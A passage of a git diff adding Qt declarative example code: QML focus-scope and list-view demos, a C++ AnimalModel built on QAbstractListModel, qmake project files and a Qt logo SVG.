+ width: ListView.view.width; height: 60; anchors.leftMargin: 10; anchors.rightMargin: 10
+
+ Rectangle {
+ id: content
+ anchors.centerIn: parent; width: container.width - 40; height: container.height - 10
+ color: "transparent"
+ smooth: true
+ radius: 10
+
+ Rectangle { anchors.fill: parent; anchors.margins: 3; color: "#91AA9D"; smooth: true; radius: 8 }
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: content
+ text: "List element " + (index + 1)
+ color: "#193441"
+ font.pixelSize: 14
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ hoverEnabled: true
+
+ onClicked: {
+ ListView.view.currentIndex = index
+ container.forceActiveFocus()
+ }
+ }
+
+ states: State {
+ name: "active"; when: container.activeFocus
+ PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 }
+ PropertyChanges { target: label; font.pixelSize: 16 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "scale"; duration: 100 }
+ }
+}
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/arrow.png b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/arrow.png
new file mode 100644
index 00000000..14978c2e
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/arrow.png
Binary files differ
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/qt-logo.png b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/qt-logo.png
new file mode 100644
index 00000000..14ddf2a0
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/qt-logo.png
Binary files differ
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/focus.qml b/examples/declarative/keyinteraction/focus/qml/focus/focus.qml
new file mode 100644
index 00000000..558ee403
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/focus.qml
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "FocusCore"
+
+Rectangle {
+ id: window
+
+ width: 800; height: 480
+ color: "#3E606F"
+
+ FocusScope {
+ id: mainView
+
+ width: parent.width; height: parent.height
+ focus: true
+
+ GridMenu {
+ id: gridMenu
+ width: parent.width; height: 320
+
+ focus: true
+ interactive: parent.activeFocus
+ }
+
+ ListMenu {
+ id: listMenu
+ y: 320; width: parent.width; height: 320
+ }
+
+ Rectangle {
+ id: shade
+ anchors.fill: parent
+ color: "black"
+ opacity: 0
+ }
+
+ states: State {
+ name: "showListViews"
+ PropertyChanges { target: gridMenu; y: -160 }
+ PropertyChanges { target: listMenu; y: 160 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "y"; duration: 600; easing.type: Easing.OutQuint }
+ }
+ }
+
+ Image {
+ source: "FocusCore/images/arrow.png"
+ rotation: 90
+ anchors.verticalCenter: parent.verticalCenter
+
+ MouseArea {
+ anchors.fill: parent; anchors.margins: -10
+ onClicked: window.state = "contextMenuOpen"
+ }
+ }
+
+ ContextMenu { id: contextMenu; x: -265; width: 260; height: parent.height }
+
+ states: State {
+ name: "contextMenuOpen"
+ when: !mainView.activeFocus
+ PropertyChanges { target: contextMenu; x: 0; open: true }
+ PropertyChanges { target: mainView; x: 130 }
+ PropertyChanges { target: shade; opacity: 0.25 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x,opacity"; duration: 600; easing.type: Easing.OutQuint }
+ }
+}
diff --git a/examples/declarative/modelviews/abstractitemmodel/abstractitemmodel.pro b/examples/declarative/modelviews/abstractitemmodel/abstractitemmodel.pro
new file mode 100644
index 00000000..c751b2c1
--- /dev/null
+++ b/examples/declarative/modelviews/abstractitemmodel/abstractitemmodel.pro
@@ -0,0 +1,40 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/abstractitemmodel
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1CB8EBB
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES = main.cpp model.cpp
+HEADERS = model.h
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/abstractitemmodel
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/abstractitemmodel/main.cpp b/examples/declarative/modelviews/abstractitemmodel/main.cpp
new file mode 100644
index 00000000..0f758032
--- /dev/null
+++ b/examples/declarative/modelviews/abstractitemmodel/main.cpp
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "model.h"
+#include "qmlapplicationviewer.h"
+#include <QDeclarativeContext>
+#include <QApplication>
+
+//![0]
+int main(int argc, char ** argv)
+{
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+
+ AnimalModel model;
+ model.addAnimal(Animal("Wolf", "Medium"));
+ model.addAnimal(Animal("Polar bear", "Large"));
+ model.addAnimal(Animal("Quoll", "Small"));
+
+ QDeclarativeContext *ctxt = viewer.rootContext();
+ ctxt->setContextProperty("myModel", &model);
+//![0]
+
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/abstractitemmodel/view.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
+
diff --git a/examples/declarative/modelviews/abstractitemmodel/model.cpp b/examples/declarative/modelviews/abstractitemmodel/model.cpp
new file mode 100644
index 00000000..f2397c33
--- /dev/null
+++ b/examples/declarative/modelviews/abstractitemmodel/model.cpp
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "model.h"
+
+Animal::Animal(const QString &type, const QString &size)
+ : m_type(type), m_size(size)
+{
+}
+
+QString Animal::type() const
+{
+ return m_type;
+}
+
+QString Animal::size() const
+{
+ return m_size;
+}
+
+//![0]
+AnimalModel::AnimalModel(QObject *parent)
+ : QAbstractListModel(parent)
+{
+ QHash<int, QByteArray> roles;
+ roles[TypeRole] = "type";
+ roles[SizeRole] = "size";
+ setRoleNames(roles);
+}
+//![0]
+
+void AnimalModel::addAnimal(const Animal &animal)
+{
+ beginInsertRows(QModelIndex(), rowCount(), rowCount());
+ m_animals << animal;
+ endInsertRows();
+}
+
+int AnimalModel::rowCount(const QModelIndex & parent) const {
+ return m_animals.count();
+}
+
+QVariant AnimalModel::data(const QModelIndex & index, int role) const {
+ if (index.row() < 0 || index.row() > m_animals.count())
+ return QVariant();
+
+ const Animal &animal = m_animals[index.row()];
+ if (role == TypeRole)
+ return animal.type();
+ else if (role == SizeRole)
+ return animal.size();
+ return QVariant();
+}
+
diff --git a/examples/declarative/modelviews/abstractitemmodel/model.h b/examples/declarative/modelviews/abstractitemmodel/model.h
new file mode 100644
index 00000000..bf24e3cf
--- /dev/null
+++ b/examples/declarative/modelviews/abstractitemmodel/model.h
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QAbstractListModel>
+#include <QStringList>
+
+//![0]
+class Animal
+{
+public:
+ Animal(const QString &type, const QString &size);
+//![0]
+
+ QString type() const;
+ QString size() const;
+
+private:
+ QString m_type;
+ QString m_size;
+//![1]
+};
+
+class AnimalModel : public QAbstractListModel
+{
+ Q_OBJECT
+public:
+ enum AnimalRoles {
+ TypeRole = Qt::UserRole + 1,
+ SizeRole
+ };
+
+ AnimalModel(QObject *parent = 0);
+//![1]
+
+ void addAnimal(const Animal &animal);
+
+ int rowCount(const QModelIndex & parent = QModelIndex()) const;
+
+ QVariant data(const QModelIndex & index, int role = Qt::DisplayRole) const;
+
+private:
+ QList<Animal> m_animals;
+//![2]
+};
+//![2]
+
+
diff --git a/examples/declarative/modelviews/abstractitemmodel/qml/abstractitemmodel/view.qml b/examples/declarative/modelviews/abstractitemmodel/qml/abstractitemmodel/view.qml
new file mode 100644
index 00000000..61134e04
--- /dev/null
+++ b/examples/declarative/modelviews/abstractitemmodel/qml/abstractitemmodel/view.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+ListView {
+ width: 200; height: 250
+ anchors.fill: parent
+
+ model: myModel
+ delegate: Text { text: "Animal: " + type + ", " + size }
+}
+//![0]
+
diff --git a/examples/declarative/modelviews/gridview/gridview.pro b/examples/declarative/modelviews/gridview/gridview.pro
new file mode 100644
index 00000000..dce522c2
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/gridview.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/gridview-example
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE53E8FDC
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/gridview-example
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/gridview/gridview.qmlproject b/examples/declarative/modelviews/gridview/gridview.qmlproject
new file mode 100644
index 00000000..f70c4963
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/gridview.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/gridview-example"
+ }
+ JavaScriptFiles {
+ directory: "qml/gridview-example"
+ }
+ ImageFiles {
+ directory: "qml/gridview-example"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/gridview/gridview.svg b/examples/declarative/modelviews/gridview/gridview.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/gridview.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/gridview/gridviewexample.png b/examples/declarative/modelviews/gridview/gridviewexample.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/gridview/gridviewexample.png
Binary files differ
diff --git a/examples/declarative/modelviews/gridview/main.cpp b/examples/declarative/modelviews/gridview/main.cpp
